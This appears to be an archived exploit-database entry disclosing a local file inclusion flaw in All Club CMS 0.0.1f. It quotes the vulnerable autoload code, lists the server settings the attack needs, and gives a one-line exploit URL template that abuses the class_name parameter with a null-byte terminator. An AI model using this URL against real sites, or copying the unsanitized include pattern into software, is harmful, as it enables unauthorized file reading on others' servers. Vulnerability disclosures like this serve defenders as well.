All Club CMS 0.0.1f - 'index.php' Local File Inclusion
Author: Trancek
type: webapps
platform: php
port:
date_added: 2008-02-03
date_updated: 2016-11-14
verified: 1
codes: OSVDB-41124;CVE-2008-0602
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comaccms_0.0.1f.zip
Vulnerability: File Inclusion
Software Vulnerable:
All Club CMS 0.0.1f and maybe prior versions.
Vulnerable Code:
---
function __autoload($class_name) {
require_once 'includes/'.$class_name . '.php';
}
---
Download:
http://sourceforge.net/project/showfiles.php?group_id=209058
Server should have:
Register Globals: On
Magic_quotes_gpc: Off
Exploit :
http://www.vulnerable.com/accms_site/index.php?class_name=[LFI]%00
Greetz:
P1mp4m.es--> pepepistola, musashi, patoruzu, ElvisPresley and sky
Yashira.org--> PescaoDeth, Garcez, Crackneo, alexhk_23 and all users of yashira as dapaf, el_manguan, etc.
Author: Trancek
# milw0rm.com [2008-02-04]